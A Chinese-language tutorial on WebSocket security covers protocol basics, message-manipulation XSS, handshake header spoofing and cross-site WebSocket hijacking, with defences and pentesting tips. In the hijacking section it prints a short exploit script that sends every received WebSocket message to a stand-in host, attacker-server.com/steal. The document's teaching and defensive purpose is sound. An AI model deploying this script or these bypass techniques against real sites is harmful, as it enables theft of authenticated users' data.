WebSocket的利用方式
字数 1685 2025-08-12 11:34:37
WebSocket安全漏洞利用教学文档
1. WebSocket基础概念
1.1 Socket与WebSocket对比
Socket:
- 套接字API,介于应用层和传输层之间的抽象层
- 主流开发语言都提供socket函数
- 使用时需要提供协议、本地和远程的IP及端口
WebSocket:
- 为解决HTTP"请求-应答模式"限制而设计
- 全双工通信,双方可同时发送数据
- 应用层协议,与HTTP平级
- 默认使用80(ws)或443(wss)端口
- 需要先建立连接(基于HTTP升级)
1.2 WebSocket特点
- 双方都可主动发送消息
- 使用ws://或wss://协议前缀
- 在HTML5中通过JavaScript操作
- 连接建立过程:
- Connection头必须为Upgrade
- Upgrade头必须为websocket
- Sec-WebSocket-Version表示支持版本(通常为13)
- Sec-WebSocket-Key是客户端生成的随机字符串
2. WebSocket安全漏洞利用
2.1 WebSocket消息操纵攻击
攻击场景:
- 在线聊天功能等使用WebSocket的应用
- 消息在前端展示时未正确过滤
攻击步骤:
- 识别WebSocket通信(使用Burp Suite等工具)
- 观察消息在前端的展示方式
- 尝试构造XSS等恶意载荷
- 直接发送恶意WebSocket消息
防御措施:
- 对所有用户输入进行严格过滤
- 实现输出编码
- 使用内容安全策略(CSP)
2.2 WebSocket握手操纵攻击
攻击场景:
- 服务器对Origin等握手头验证不严
- 黑名单机制存在缺陷
攻击方法:
- 修改Origin头尝试绕过检查
- 使用X-Forwarded-For等头伪造IP
- 尝试大小写混淆等绕过技术
防御措施:
- 严格验证Origin头
- 实现白名单机制而非黑名单
- 对关键字段进行规范化处理
2.3 跨站WebSocket劫持(CSWSH)
攻击原理:
- 类似CSRF,利用用户已认证状态建立WebSocket连接
- 通过恶意页面诱导用户访问
攻击步骤:
- 检查目标是否缺乏CSRF防护(token或Origin验证)
- 构造恶意HTML页面包含WebSocket连接代码
- 诱使用户访问该页面
- 通过WebSocket获取敏感信息并外传
利用代码示例:
<script>
var ws = new WebSocket('wss://target-website.com/ws');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://attacker-server.com/steal', {
method: 'POST',
mode: 'no-cors',
body: event.data
});
};
</script>
防御措施:
- 验证Origin头
- 使用CSRF令牌
- 限制WebSocket连接来源
3. 渗透测试实践指南
3.1 识别WebSocket通信
- 使用Burp Suite等代理工具
- 查找状态码101的请求
- 关注"Upgrade: websocket"头
- 使用HaE等插件高亮标记WebSocket流量
3.2 测试工具与方法
-
Burp Suite:
- 拦截WebSocket消息
- 修改并重放消息
- 测试握手过程
-
手动测试:
- 尝试XSS、SQL注入等常见Web攻击
- 测试Origin头验证
- 检查CSRF防护
-
自动化工具:
- OWASP ZAP
- WebSocket专门测试工具
3.3 漏洞利用技巧
- 当<>被编码时尝试其他XSS向量
- 结合DOM型XSS技术
- 利用WebSocket进行数据外泄
- 尝试协议降级攻击(从wss到ws)
4. 防御最佳实践
-
输入验证:
- 对所有WebSocket消息进行严格验证
- 实现白名单过滤机制
-
输出编码:
- 对所有输出到前端的数据进行编码
- 根据上下文使用HTML、JS等不同编码方式
-
认证与授权:
- 对WebSocket连接实施严格认证
- 基于用户权限限制可访问功能
-
安全配置:
- 使用wss而非ws
- 配置合理的CSP策略
- 限制帧大小和连接速率
-
监控与日志:
- 记录所有WebSocket通信
- 设置异常行为警报
- 定期审计WebSocket使用情况
5. 总结
WebSocket作为现代Web应用的重要技术,在带来实时通信便利的同时也引入了新的安全风险。渗透测试人员应掌握WebSocket的测试方法,开发人员需了解相关防御措施。通过本指南介绍的技术和方法,可以有效识别和防范WebSocket相关的安全威胁。